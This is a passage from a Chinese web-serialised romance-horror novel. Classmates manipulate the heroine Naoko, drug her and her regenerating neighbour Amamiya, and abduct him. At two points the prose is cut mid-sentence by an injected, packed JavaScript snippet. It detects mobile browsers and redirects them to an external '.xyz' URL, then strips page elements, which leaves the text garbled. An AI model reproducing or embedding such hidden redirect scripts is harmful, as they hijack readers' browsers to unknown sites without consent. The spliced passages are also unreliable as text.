“诶，还在装吗？这里没有其他人哦，难道冈田桑和松木桑没有这样想过吗？雨宫君的身体，一定非常诱人。” …… 几人很快离开，奈绪子捂住嘴，连呼吸都下意识放轻了。 手臂下垂，正好触摸到那柄雨宫送的小刀。 她这是在做梦吗？ 在乙女游戏里，他们一般将这种偏执的人设称之为：“病娇”。 但为什么她平平无奇的人生里，也会发生这种让人难以理解的事？ 应该告诉雨宫君吗？ 该怎么说呢？ “有人想杀你”？ 雨宫君大概会觉得她在开玩笑吧。 为了多探听一点消息，这几天她去洗手间去得很频繁，但可惜的是她什么也没能探听到。 这引起了雨宫的注意：“奈绪子，就算是得了尿急尿频这种病，也不要讳疾忌医哦。” “……滚啊。” 上次从游乐园回来，她强硬地提出给雨宫君上药，不过令人惊讶的是，那个硬币大的伤口，在他们回到家的时候，就完全愈合了。 不管怎么说，这种愈合能力也够让人难以置信的。不过雨宫君本人倒是习以为常： “哈，不是说了吗？这只是个几分钟就能愈合的小伤。” 她提出报警，但都被雨宫以无所谓的态度拒绝了。 虽然想骂他真是个连自己的小命都不放在心上的、随意的人，但既然没什么大碍，她也没有过多纠缠。 “雨宫君，这几天你就先好好待在我身边吧。”她拉住他的制服袖口，认真道。 虽然好像并没有什么用，毕竟她也只是个手无缚鸡之力的死宅。 “哦，这算是表白吗？”这家伙趴在课桌上，笑眯眯地看着她，像憋着什么坏水。 她连忙反驳道：“当然不是……” “不是的话当然不可以答应你。” “变脸可真快啊，雨宫君。”她无语了几秒，准备起身离开时，就被他拽住了手，往后拉了一把。 明明只是坐在座椅上，但直起腰的时候，却差不多有奈绪子那么高。 他紧贴着她耳侧低声抱怨道：“好没耐心啊，奈绪子。不再求求我吗？” 话音刚落，周围本就灼热的视线变得愈加赤.裸，几乎凝成实质将她洞穿。 “……” 真是无妄之灾，她一点都不想引起其他同学的注意。 她甩开他的手，低声提醒道：“喂，我只是想去趟洗手间啊！放开我，你想让我变成活靶子吗？” 虽然早就是了。 “哦，那好吧。”他沉默了好一会儿，才勉为其难地点点头。 奈绪子不敢回头，垂下脑袋匆匆往外走，不过走了几步，就感觉身后跟上来一个人影，亦步亦趋，如影随行。 “你跟着我做什么？”她没好气。 他顺势把手搭在她头顶，揉了两下：“哈，刚才不是你求着我待在你身边吗？” “那也不至于去洗手间也跟着吧。”她语塞。 这家伙是变态吧？ 他淡淡地应一声，有意拉长了声音道：“因为我离不开奈绪子你呢。一会儿也不行。” 结果就是他倚靠着洗手间外的墙壁，笑着朝她招招手：“要快点哦，奈绪子。” “……” 不过这样也好，和她待在一起，雨宫君应该会安全很多……吧。 但等她再次走出来时，门外却没了他的身影，正四处张望的时候，她的脸就被一只熟悉的手捏了捏。 “在找我吗？” 雨宫拿着一根棒球棍站着，身上的制服上衣不知道怎么的，沾上了很多灰尘，在白色布料上显现出一道显眼的黑色拖拽痕迹。 “你去哪儿了？”她警觉地抓住他的手，“身上还有股血的味道。” 他随手把棒球棍丢到一边：“也许是这棍子的味道吧？我刚才手痒，捡起来玩了玩。” 奈绪子看了地上的棒球棍一眼，果然如他所说，棍身处有一道鲜艳的红色痕迹。 “捡它做什么？” 雨宫随口应了一声，半真半假道：“当然是用来解决一些恶心的「苍蝇」。” 一会儿「□□」一会儿「老鼠」一会儿「苍蝇」的，都快要可以演动物世界了。 她上上下下、仔仔细细地把人打量了一圈，没发现什么异样，才松了口气：“打苍蝇也要挑一点趁手的道具吧？棒球棍算什么啊，要不我们去买两只苍蝇拍也行。” 他可有可无地应了一声，手很自然地搭上她的肩膀：“走吧，奈绪子，我们该吃饭了。” “啊，对了。我刚才在洗手间里偷听到一件事，等会儿告诉你。” 至于是什么事…… 入江前辈突然休学了。 理由是得了某种严重的病症。 明明之前看起来还活蹦乱跳的呢。 不过联想到前几次见面时他的精神状态，奈绪子却又觉得理所当然了。 这对雨宫君来说应该算是一件好事…… 不对，更可能是坏事。 因为这意味着入江前辈可能有更多的时间可以…… 但这种猜测，并没有必要告诉雨宫君。 她小声道：“我听说，前辈突然休学了呢。真是让人难以置信。” 雨宫正低头帮她把便当与汤盒打开，推到她面前，闻言淡淡抬眼：“哈，又要提起那只愚蠢的「老鼠」了吗？” 语气有些不耐烦，但他显然一点惊讶的意思都没有，像是早就知晓了这件事。 “倒也不需要对前辈使用这么冒犯的称呼吧。”奈绪子道，“很奇怪不是吗？明明之前前辈看起来还很健康呢。” 他不以为意地应了一声：“也许是有什么隐蔽的病症吧。毕竟是「老鼠」不是吗？而且还对我做出那种恶心的事，我希望奈绪子你记住，他是你的死敌。” ……果然，和冷酷的雨宫君提起这种事情，完全就是自讨没趣。 什么死敌，这个词会出现在日常生活里吗？ 不过想到入江怜央神色疯狂地沿着水管往上爬的画面，她还是不由得打了个寒颤。 “再者，他休学是好事不是吗？这样的话，就再也无法对奈绪子你下手了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725910|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊？”她并不觉得这件事跟她有什么关系。 “比起让他休学，我更应该做的事情是杀了他。”说着，他神色狰狞地咬紧了牙关，将牙齿咬得嘎吱作响。 这是气得不轻吧？ 是吧？ 也不知道入江前辈休学的事情和雨宫君有没有关系，但他依旧像个没事人一样，过着以前那种众星拱月的生活。 奈绪子没工夫再去观察他的生活，因为某件令她欣喜若狂的事情发生了： 她的社交软件，竟然莫名其妙地收到了来自同班女同学的好友申请。 是的，她终于要交到除雨宫君以外的朋友了。 她被拉进了一个三人小群里，这还是她头一次尝试这种群聊的感觉。 因为人缘不太好，班上的女同学拉小群时从不邀请她。 雨宫君倒是提出和她组建群聊，不过两个人的群聊……请问有什么意思吗？ 再说了，一天二十四小时里他们至少有十五六个小时都待在一起，更没有必要发什么群聊讯息。 奈绪子抱着手机躺在被窝里，将群名称旁那个数字4看了又看，就连心跳都漏了几拍。 不会突然把她踢出去吧…… 说是“拉错了人”，之类的。 她小心地截了一张图，以作为她第一次加入小群的小小纪念。 好在看起来这并非她们的失误，奈绪子受到了群成员们的热烈欢迎： 【松木：欢迎哦，川濑桑~你和雨宫君是邻居吗？我看到你发的花了呢，非常美丽。】 【会田：就是啊~！简直太羡慕你了。】 她急急忙忙回： 【是邻居没错，如果你们想看更多雨宫家花园的花，我可以现在就去拍！】 这话看在别人眼里就和炫耀差不太多，所以群氛围一下子冷却下来。 好一会儿，才有人冒泡： 【冈田：哈哈，那川濑桑和雨宫君关系真好呢。】 【冈田：听说你们谈恋爱了，是吗？】 不管回答“是”，还是“不是”，感觉都无法令人满意。最后她还是决定实话实说： 【奈绪子：啊……是的吧。】 原以为她们会表现得很抵触，但没想到却顺势接受了这个设定： 【会田：诶~是这样吗？那我可以问问吗？】 【奈绪子：什么？】 【会田：比如说，你们约会的话，都会做些什么呢？】 【松木：还有，雨宫君喜欢吃些什么呢？因为总是不参加聚餐，大家对他都不是很了解呢。】 【冈田：对了对了，你们有接吻吗？】 她们似乎对他们的私生活很感兴趣，絮絮叨叨地问了好些问题，从约会的地点，到约会的细节，接吻时雨宫君的姿势，和唇瓣的温度…… 尽管有些不好意思，但为了在新朋友面前好好表现，每一个问题她都一一细致地回答了。 就这样聊了几天，奈绪子才鼓起勇气： 【奈绪子：我们算朋友了吗？那以后在学园里，可以和大家打招呼吗？】 结果当然是无人搭理她。 整整蹲了二十分钟，都快要把手机瞪穿，她才得到了几人稀稀拉拉的回复： 【松木：当然啦~我们可是朋友。】 【会田：那么川濑桑要告诉我们更多有关雨宫君的讯息哦。】 【冈田：关系有多好，就得看川濑桑的努力了~】 从回复看，她们似乎经历了一场不小的心理斗争。 但奈绪子并不在意，她只知道，她交上了新的朋友！还是女性！ 这简直太令人激动了！ 以至于上学时，她的脚步都是虚浮的，简直是飘飘然。 翌日，奈绪子鼓起勇气，主动在洗手间里朝学园三人组打了个招呼。 至于为什么是洗手间…… 是因为交新朋友这种事，暂时还不能告知雨宫君。 她们可有可无地应了一声，一拥而上，抓着她的头发、袖口和裙摆上上下下地打量了一遍，最后得出结论： “哈，川濑桑你也没什么特别的嘛。” “腿有点粗诶，近看皮肤也不太好。” “啊，是这样吗？可能是因为我经常熬夜打游戏……” 她们更加激动： “啊？不会吧？川濑桑你是宅女吗？真是没想到啊。” 奈绪子惊慌失措地摆摆手，道：“应该……也算不上吧？” 她们显然并不在意她是如何辩解的，将她从头到脚都贬低过一遍之后，才神秘兮兮地贴着她的耳朵问： “对了，雨宫君今天穿的是什么颜色的胖次啊？” 22.第二十二章 奈绪子瞬间呆住了：“……哈？” “这我怎么会知道啊……一般来说，雨宫君也不可能会给我看这个吧……”她语无伦次，迭声解释，“毕竟，这可是隐私呢……” 几人立刻露出一副失望至极的表情，后退一步，环抱着双臂不屑地盯着她，七嘴八舌道： “啊，那也就是说，川濑桑作为女朋友，和我们也没什么不同嘛。” “她也未必不知道，也许只是不想告诉我们。” “不是朋友吗？没想到川濑桑居然会这样。” 她手忙脚乱地摆摆手：“绝对没有这种事啊！我、我真的不知道。就算是情侣，也要有个人空间不是吗……” 她们似乎早就料到了她的说辞，闻言鼓动道： “不知道的话，川濑桑亲自去问问也可以吧？” “或者说，看看？” “既然是情侣，看看也没关系的吧？我们也只是有些好奇而已。” “帮朋友做一些力所能及的好事，我想，川濑酱你不会拒绝的对吗？” 哈，可是不管怎么说，这都过界了吧？ 那可是雨宫君的隐私。 “诶~看川濑桑的表情，似乎不太愿意诶~” “我们也不好强人所难啦，既然川濑桑不愿意，那么做朋友的事还是算了吧？” “……” 这精准地打到了奈绪子的七寸，于是她一时脑热上头，咬牙点头同意了。 刚交上的朋友，可不能就这么死了。 不过等清醒过来，她才开始苦恼：这种难以启齿事情，到底要怎么问雨宫君啊？ 她磨磨蹭蹭地回到教室，在雨宫身边落座，一分钟不到的路程，她走了有三四分钟。 回过头，门外的三人组正笑嘻嘻地并排站着，朝她做了个“快去”的手势。 自从入江休学，雨宫看管她的力度就放松许多，否则她也不会有机会瞒着他交新的朋友。 雨宫趴在桌上，看上去像是睡着了。 铃木君则隔着一条走道，直勾勾地盯着他——自从闹出更衣室偷看的事，他就被班主任调到了另一个座位。 “……雨宫君。”她轻咳两声。 他缓缓掀开眼帘，瞳孔微转，语气里还有些藏不住的困意：“嗯，又怎么了吗？奈绪子。” “咳，就是，就是，那个……”她结结巴巴，迟迟不敢问出口，视线瞄到窗外，三人组正并排站着，环抱着手臂往这边看。 你的胖次是什么颜色的？ 这种话问出口，一定会被他揍一拳吧？ 她只好窝窝囊囊地叹了口气，试图把脸埋进课桌里：“……没事。” 仔细想想，脸皮也很重要的。 而且，不能为了交朋友，就暴露雨宫君的胖次颜色……什么的吧。 他坐起身，揉眼盯着她：“有什么话，奈绪子你还是直说的好。否则我会以为你又闯了什么祸。” “我在你心里到底是什么形象啊……”既然他都这么说了，奈绪子不再客气，贴着他的耳朵，一鼓作气，“你、你的胖次是什么颜色的？” 她越说越小声，雨宫的脸色也逐渐变得铁青。 最后，他只淡淡挑了挑眉：“哦，奈绪子你支支吾吾的，原来是想问这个吗？” 哈，这是什么平淡的反应？ 顿了顿，他也学着奈绪子的样子，凑到她耳边：“晚上可以亲自来看哦。对于奈绪子你，我一直都有空的。” “……” 奈绪子一阵恶寒，小心地把凳子挪远了点，但被他抻腿勾着凳子腿，又拖了回去。 他故意低声道：“不看了吗？奈绪子你喜欢的话，拿回家也可以的。” “谁要把这种东西拿回家啊……”她的脸一阵阵发热，现在恐怕已经红透了。 “啊，对了。礼尚往来，如果我告诉奈绪子你的话，你是不是也得……”雨宫用自己白皙的指节，比了个邪恶的三角形。 她急得伸手捂住他的嘴：“算了！我现在一点都不想知道！” 不要脸这种境界，她也远远无法与雨宫君相比。 比起虚无缥缈的朋友，还是她的节操更重要点。 至于学园三人组那边，还是再看看有没有挽回的余地好了…… 她的视线滑到窗外，刚才还在看戏的三人已经不见了踪影。 奈绪子跟着趴到桌上，暗叹了口气。不过刚趴下，耳边就传过来一些窸窸窣窣的声音，有道潮湿黏腻的嗓音跟着响起： “是黑色的哦……胖次，今天的。” 反应了有二十秒，她才回过神来，腾的一下从脖子根一路红到了头顶。 啊啊啊啊，这个变态！ 她咚的一声从双臂间抬起头来，雨宫枕在自己的左臂上，正半敛着眼帘望着她。两人的距离本来就不远，她几乎能看清他眨眼时密得像小刷子的长睫毛。 “奈绪子脸红了啊，真可爱~”这种恶心的尾音是怎么一回事？ 奈绪子忍无可忍，伸出手捏住他的嘴，手动封印：“你还是闭上嘴吧，雨宫君。” 当然，在下课的时候，她就悄悄躲到洗手间，通过聊天软件把这个惊人的消息告诉了学园三人组——也就是她未来的好友。 干这件事之前，她在心内向雨宫君道了十次歉，并再三保证自己以后不会再干这种掉节操的事。 就像是平静的湖面突然被投进了一个□□，群里一下子炸开了： 【松木：黑……黑色！原来雨宫君是这种内敛稳重的人吗？】 【会田：也许是闷骚呢~这样的雨宫君，有另一种魅力呢~】 【冈田：是什么样式的呢？条纹？还是纯黑？不管是哪种，一定都很性感吧……】 根据胖次颜色判定男子类型什么的，真的靠谱吗？ 但她并不敢打断她们热烈的讨论，只安静地装成鹌鹑。 但很显然这种奇怪的提问是没有底线的： 【奈绪子：这个考验就算是结束了吧？那我是不是可以……】 这段话还没打完，几人的回复先刷新了出来： 【会田：川濑桑，那你和雨宫君那个的时候，会用什么姿势呢？】 【奈绪子：……啊？那个是哪个？】 【松木：是令人意外的清纯派呢。】 奈绪子脑子里传来翁的一声响，才明白几人的意思，手忙脚乱地打字回答： 【奈绪子：当然没有！我和雨宫君还没有到那种程度啊！】 事实上，目前还停留在接吻的水平。 这段话发出去，群里彻底沉寂下来，约莫过了两三分钟，才爆发出众多热烈的回复，夹杂着众多感叹号和颜文字，似乎是对此惊喜不已。 至于回复，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735025|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只来得及匆匆瞥过一眼，看清了一些例如“震惊”“太好了”之类的字眼。 估计是惊讶于他们两人的纯情吧。 毕竟在霓虹，早恋和偷尝禁果是很正常的事。 但这些人里并不包括奈绪子和雨宫。 奈绪子对男性所有的认识，全都来自于柜子里那箱乙女游戏的卡带，以及阴魂不散竹马雨宫富江。 总结来说，她很单纯。 而雨宫富江，虽然他这个人卑劣、没品，热衷于践踏别人的真心，但同时也平等地鄙夷着周遭的所有人，当然不屑于跟任何人发生越界的关系——除了川濑奈绪子。 不过在意识到自己某种萌芽的感情以前，他的世界里也从未出现过类似于“情.欲”的东西，换言说，他也很单纯。 奈绪子打字很慢，手忙脚乱的，还没来得及发出下一段文字，新的话题又涌了上来： 【松木：诶，我说，川濑桑，我们现在已经是朋友了吧？】 【奈绪子：啊，是的，当然！我会非常努力的！】 【松木：听说你很喜欢吃巴菲呢。】 【松木：作为朋友，我明天可以请你吃吗？如果你能把雨宫君也带来，那就更好了。】 带雨宫君？ 他会生气的吧。 那不是明晃晃跟他说，“我又瞒着你交了新的朋友哦，啾咪”吗？ 见她久久不回答，剩下的两个人开始煽风点火： 【冈田：咦，川濑桑看起来似乎很为难哦~你还是不要为难人了吧？】 【会田：虽然没有直说，但川濑桑其实也是有些看不起我们的吧？觉得我们是“围着雨宫君转的臭虫”之类的。】 那种没品的话只有雨宫君能说得出来吧。 她哪里见过这种阵仗，急得连发了好几次“好”。 之后要被雨宫君骂的话，那就之后再说吧。 得到她的保证，三人又恢复了先前岁月静好的样子，“川濑桑”“川濑桑”地喊个不停。 奈绪子就这么轻而易举地栽进了陷阱里。 交新朋友这种事情，当然是不能和雨宫君直说的，否则他大概会大发雷霆。 晚上的时候，她用家里的烤箱烤了一盒小饼干，准备以此为借口去找雨宫。 雨宫并不喜欢这种甜腻腻的东西——她当然知道，因为这是她给自己准备的。 假如他突然变脸骂人的话，她就吃两块小饼干哄哄自己。 见她要出门，刚才还盯着电视看的川濑美里转过头来：“诶，大晚上的，奈绪子你要去哪儿呢？” “我烤了些饼干，准备给雨宫君送去。给妈妈你烤的苹果派已经放在桌上了。” “雨宫君？怎么会大晚上去找雨宫君呢？难道……”川濑美里露出一个暗笑。 她急忙解释：“不是！只是有道题我不太确定答案，才想着去问问他的！” “哦，这样啊，”美里颇为失望地转回头，“我还以为你们谈恋爱了呢。毕竟都已经到了该恋爱的年纪不是吗？” 她摆摆手：“妈妈，你想多了，我晚点就会回来。” 说完，她就不太好意思地捂着脸跑出了门。 雨宫家的大门紧紧关着，奈绪子一连按了好几回门铃，也没有得到回应。 直到五分钟以后，雨宫才穿着件松垮的制服衬衫，阴着脸走了出来。 23.第二十三章 见了奈绪子，他脸上的阴霾消散了几分：“大晚上的，你来这里做什么？不是说了吗？已经录过你的指纹了，下次可以直接进来。” “没得到主人的同意私自进来的话，会很像贼吧。” 雨宫示意了一番身上皱巴巴的衬衣：“可是这样的话被你闹得没办法洗澡了。” 她语塞，支支吾吾：“好吧。其实……那个……我是想问你……” “哈，扭扭捏捏的。奈绪子，你该不会真的打算，来看我的……”他抱着双臂，笑吟吟地看着她。 “才不是啊！”她连忙踮脚捂住他的嘴，朝四周围扫视了一圈，把他推进了小洋楼里，“总之，先进去再说。” 进去再被他骂的话，至少不会那么丢脸。 她被雨宫带进了房间里，不安地坐在他的床上。 弹弹软软的，高档床上用品果然不一样。 “桌上有游戏机，这里有电视遥控器，无聊的话，就打发下时间吧。我先去洗个澡。”把她安放在一边，雨宫就自顾自进了浴室里。 奈绪子坐立不安地碰碰这个，摸摸那个，最后尴尬地喝了一口水。 浴室里传来的水声很大，她的眼睛总忍不住朝防水玻璃门的方向看……这是动物的本能吧，才不是她变态啊。 也不知道是有意还是无意，穿脱衣服的时候，他离门很近，玻璃门上隐隐约约映出他身材的轮廓。 就连光线也像是格外偏爱他，把他的皮肤打得白皙而光滑。 ……她绝对不是变态，绝对的。 顾忌着奈绪子在场，他没有干出穿着浴衣就跑出来这种事，套了件灰色的真丝睡衣，略长的发丝耷拉在鬓角，正顺着往下滴水，洇湿了前襟的布料。 不过那缕不太听话的头发，很快被他用毛巾随手捋了上去。 看见她直勾勾的目光，他哼笑了一声：“哈，这个眼神，难道奈绪子你还在好奇我的胖次颜色吗？”他指指阳台，故意压低了嗓音，显得低沉而暧昧，“正对着你的窗口吧，奈绪子你应该每天都能知道才对。” “到底谁会特意去注意这种事情啊！”她气得磨牙。 他到底什么时候才能放弃这个无聊的话题啊。这简直太令人抓狂了。 “哦，那你到底来这里做什么？送饼干吗？”他的视线落到她怀里的那包小饼干上，一顿，习以为常地笑笑，“都吃掉一半了啊，看起来不是准备送给我的。” 他这么一问，奈绪子就忍不住心虚地低下头，含含糊糊地问：“我其实是，想问问你，去不去吃巴菲……” “就是你说的打折的那一家吗？” “啊，是的，是的吧。” “奈绪子，你看起来有什么事情瞒着我呢。”他一边抬手擦着头发，一边居高临下地垂下眼帘紧盯着她。 盯得她也跟着心虚地低下头，轻咳两声。 他挑眉：“是没钱吗？我请你就是了。” “不、不是。” “难道是闯了别的什么祸吗？” “……” 在他眼里，她就是那种闯了祸就来找他收拾烂摊子的无能的人吗？ ……好吧，她是。 感觉再这么猜下去，她就要变成罪犯了，只好承认道： “其实是，松木她们，想请我们吃巴菲。” 雨宫刚才还风轻云淡的脸瞬间阴沉下来，恶狠狠警告道：“不准去。不是说过了吗？不准靠近其他人，奈绪子的世界，只要有雨宫富江就够了。” “这根本不公平，雨宫君你这么受欢迎，当然不会明白我的感受。”他斩钉截铁的态度也让她来了气。 “这很公平。别说这些了，奈绪子，”他的视线又变得灼热和暧昧，落到她被灯光打得发亮的唇上，“要接吻吗？” “……当然不要。” 他简直就是神经病吧，这是接吻的好时机吗？要知道上一秒他们还在吵架。 “拒绝得还真是干脆呢，奈绪子。”他轻嗤。 “我们还是来谈谈吃巴菲的事吧。拜托了，雨宫君，就这一次。”她双手合十，做了个请求的姿势。见他不回答，就大着胆子扯了扯他的睡衣下摆。 雨宫的脸一点点冷却下来，奈绪子能感觉到他落在自己后颈的冰冷的视线。最后，他冷哼了一声： “随你。” 这就是屈服的意思了。 她兴奋得跳起来，浅浅地抱了他一下，保证道：“太好了，雨宫君！不过不管怎么样，你还是我最好的朋友。” 他伸出一只手，似乎想扯开她，但顿了下，还是轻轻地放到了她肩上。 “没有下一次了。”他低声强调。 面对奈绪子，他的底线永远一退再退。 她盼了又盼，巴菲日总算到来了。 这应该可以算是，她和朋友们的第一次聚会吧？ 尽管万般不愿意，雨宫还是被她软磨硬泡地带到了甜品店。 原本她提议去市中心那家打折的巴菲店，不过被学园三人组七嘴八舌地拒绝了。 【来回花的时间会很长诶……】 【我的其他朋友去尝过哦，据说味道也没什么特别的呢。】 【哪家甜品店都一样啦，川濑桑不要这么固执啦。】 她们的理由是这样的。 既然是被请客的那个，她不好挑挑拣拣，只能按照她们给的地址，找到了这家偏僻荒凉的甜品店。 雨宫的手搭在她肩膀上，嘲讽道：“这就是奈绪子你所说的非常棒的甜品店吗？还真是令人惊、喜、呢。” 破落的牌匾挂在头顶，风一吹就摇摇欲坠，让人不由得怀疑是不是曾经砸死过什么人。 “万一里面的巴菲很好吃呢，以貌取店太随便了，雨宫君。” 刚走进门，六束目光瞬间投射过来，安静的店内响起起起伏伏的喊声： “雨宫君！” “啊，真的是雨宫君！” 几个人影冲上来，把奈绪子从包围圈里挤了出去，不过她很快又被雨宫揪着卫衣帽子扯了回来。 “不是要吃巴菲吗？”见她们还准备靠近，他冷冷地扫视了一圈，“离我远一点。” 不敢触他的霉头，三人组挨挤着坐在他们对面，殷勤地给雨宫点单：< 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刚才还热烈的氛围彻底冷却下来，她们眼里的粉红泡泡蒸腾消散，望向奈绪子的视线愈加不善。 在等待巴菲的这段时间里，她试图在聊天中讨好和顺从她们，只是成效并不怎么明显。 好在气氛变得更尴尬以前，奈绪子的巧克力巴菲到了。 一桌人除了她，没有任何人的心思在甜品上。雨宫低头划弄着手里的手机，三人组则在沉默中几度交换视线，不知道在想些什么，偶尔还能听见几句压低的窃窃私语。 其实这份巴菲比奈绪子想象的要好吃得多，所以她迅速忘记了刚才的不快，专注地埋头吃着。 只是再抬起头时，却发现雨宫正垂眸盯着她，视线落在她吃巴菲时偶然间隐约露出的舌头上。 真是失礼啊，这家伙。 她迅速闭上嘴，小心地往旁边挪了几分。 松木小声雀跃着找话题：“诶，雨宫君，你平时有什么爱好吗？” 他这才收回视线，又恢复了那副欠揍的样子：“哈，你一定要问这么愚蠢的问题吗？” “啊？好的，好的，抱歉，真的抱歉！雨宫君……”她立刻慌张起来，连连摆手道歉，“我不会再问了……” “接吻。” 对面的三人组都愣住了：“啊？” “不是问我爱好吗？”他笑眯眯的，“以前没有，现在是接吻。” 三个人的脸色红白交替，最后齐刷刷地瞪向了奈绪子。 奈绪子也呆住了，她知道雨宫君不要脸，但没想到能不要脸到这种程度。 他完全是想毁了她的交友吧？ 她气得在桌子底下猛踩了他几脚，恨恨地打字骂他： 【雨宫君，请停止你无礼的话！你很失礼也很无耻，好吗？ 【我是真的很想和她们成为朋友！】 【朋友？我不就是吗。】 【那怎么能一样！】 她试图在桌子底下掐他的大腿肉，反而被他抓住手，攥进手里，轻轻捏了捏。 24.第二十四章 难看的表情缓解许多，他脸上露出几抹笑意，被她蹙眉瞪了一眼。 对面的几人当然把这场景看在眼里，磨牙的声音连音乐声也盖不住。 松木深吸了口气，勉强挤出一丝笑容来：“诶~雨宫君，你不吃点什么吗？我请客哦。” 他抬眼轻瞥了她一眼，没出声。 会田跟着帮腔：“雨宫君，请尝尝这个巧克力巴菲吧？你绝对不会后悔的哦~” “不吃，滚。” 本就尴尬的氛围现在几乎凝成实质，奈绪子忙打圆场：“只尝一口就可以的，一口就好。” 说着，她看向雨宫的眼里，也带了几分央求。 他顿了顿，似乎又像是想到了什么有趣的事，突然道：“那好吧，奈绪子，就看在你的份上。” 没等三人组露出笑容，他就指了指奈绪子手里的叉子：“那你喂我吧，女朋友。” 几人刚翘起一点弧度的笑容僵硬在嘴角，脸色铁青，手也不自觉地使力，几乎要把叉子也撅了。 丢脸，尴尬，无地自容。 奈绪子几乎感觉有热气从自己的脊椎涌上，一路窜到脑门上，她连头顶都在发烫……大概吧。 啊啊啊啊啊，她在心里咬牙切齿。 见店内的氛围被他搅得一团糟，雨宫才满意地勾起唇角，笑道：“啊，我只是开玩笑的。给我上一份新的就好。” 这个混蛋，根本就是故意要让她难堪，阻止她的交友。但她根本一点办法也没有。 他最终点了一份和奈绪子一样的巧克力巴菲，安安静静地等待侍者把甜品端上桌。 原以为他总算分清楚现在根本不是他开玩笑的场合，下一秒，他就又恬不知耻地开口道：“虽然不能吃同一份，但还是请你喂我吧，奈绪子。” 这话说得像是什么了不起的宽恕。 什么都好吧，她现在只想要堵上他的嘴。 巧克力巴菲端上桌，对面几个女孩锐利的眼神就不由自主地黏在了那份甜品上。 奈绪子抖着手用叉子给他挖了个小角，但手才抬到一半，雨宫就低下头，在几人古怪的视线中，把那块巴菲含了进去。 喉结滚动，他咽了下去。 不过只吃了一口，他就犀利地评价道：“感觉也不怎么样嘛。奈绪子，你就是喜欢这种甜腻得过头的东西。” 奈绪子的确喜欢。 他无所谓道：“你如果实在喜欢的话，把我这份吃了也没关系。” 如果不是在这种场合，她大概会试图把这份巴菲扣到他那张欠揍的脸上去。 但现在她只好忍着脾气拒绝：“不用了……我怕会胖。” “哪里有胖呢？奈绪子你还是太瘦了点。”说着，他旁若无人地伸手捏了捏她脸颊上的肉，“不要浪费啊，奈绪子。” 说得也是。 况且，这份芭菲还是干净的，她只要更换一个叉子就好。 三人组的眼睛里几乎要刺出冰凌来，死死瞪着奈绪子。 “……要不我还是……” 没等她说完，松木打断了她：“的确哦，川濑，浪费可不好呢。” “啊？” 冈田跟着帮腔：“诶~说得也是呢，不应该浪费的。” “吃掉它吧，川濑桑吧。”会田也这么说。 虽然话是这么说，可奈绪子总觉得她们望向她的视线有些凶狠和不怀好意。 但她不敢开口拒绝别人，于是只好窝窝囊囊地垂下头，开始吃那一份本该属于雨宫的巧克力巴菲。 也不知道是不是因为昨晚熬夜打游戏，吃着吃着，她就感觉眼皮沉重，困得睁不开眼。 不想在新朋友面前太失礼，她拼命想睁开眼，但咚的一声巨响，她恍恍惚惚地倒在了桌上。 不省人事。 彻底失去意识的前一秒，最后看见的画面，就是雨宫熟睡的脸。 诶，雨宫君……也……睡着了吗…… 安静的甜品店里，三个少女齐心协力地将昏倒在桌上的雨宫富江抬了起来。 一个忙着用丝巾挡住他的脸，一个借机揩他的油，剩下的一个则冲着昏迷的奈绪子露出一个胜利者的微笑。 雨宫君是她们的！ 她们将他拖出店外，上了一辆早就打点好的出租车。 接下来的事情也就顺理成章，出租车在某个偏僻的危楼前停下，雨宫被拖行着带上了楼。 泥尘遍布的楼层遍布着不祥的气息，但此刻狂喜充斥着三人的脑海，并没有人在意这一点。 拖拽的轻微声音在水泥楼里蔓延，三人哼哧哼哧地把这具身体拖上了楼。 雨宫的制服上衣彻底脏了，但是那张美貌的脸，看起来却还是那么完美。 “雨宫君，我终于可以得到你了。” “喂！会田！你轻点！雨宫君受伤了怎么办？” “贱人！松开你的手！”一声尖叫传来，“不是说好了吗？头是我的！” “你才是啊！快把手给我松开！” 她们红着眼大打出手，彼此身上都带了不少伤。 几番争吵和打斗后，她们齐心协力把人拽进了房里。 铁门砰的一声关上了，但再也没有打开。 —·— 再睁开眼时，天色已经彻底黑了下来。 聒噪的嗡嗡声在耳边响个不停，酸臭的隔夜饭混杂着血腥味，如影随行。 他躺在某个肮脏的垃圾堆里，身边瑟缩着一只绿眼黑猫，它低垂着脑袋，似乎在啃食着什么。 生肉的腥味在鼻尖蔓延，雨宫狼狈地从几团垃圾上爬起，做了个干呕的姿势。 可惜因为胃里空空，他什么也没能吐出来。生长的钝痛在身体内游移，他下意识捂住了那颗还没再生完全、隐隐作痛的心脏。 “喂，给我吐出来。”他揪住黑猫的后颈肉，伸手去扣它嘴里的那块肉，“这是我的知道吗？你这个反食物链的混蛋。” 话音未落，他就被黑猫狠狠地咬了一口。 “该死的。”他低骂一声。 那只猫灵活地跳开，三两下把那块肉咽了下去。 因为生长过速，雨宫俊美的脸上还残留着某种不太平整的褶皱，浮起的肉褶像抹布一样黏附在外皮上，稍做出点表情来，就显得很是狰狞。 更何况他现在非常愤怒。 不如把那死猫抓过来弄死好了。 不过还没来得及将想法付诸实践，一股强烈的呕吐感就从下腹一拥而上，他痛苦地躬下身，低头做了个作呕的姿势。 好像已经很久没有经历过这种再生的痛苦了，准确来说，是在七岁之后。 雨宫富江知道，他是个和正常人完全不同的「怪物」。 无论死多少次，他都可以以同样的面貌重生，甚至得以继承上一位“雨宫富江”所有的记忆。 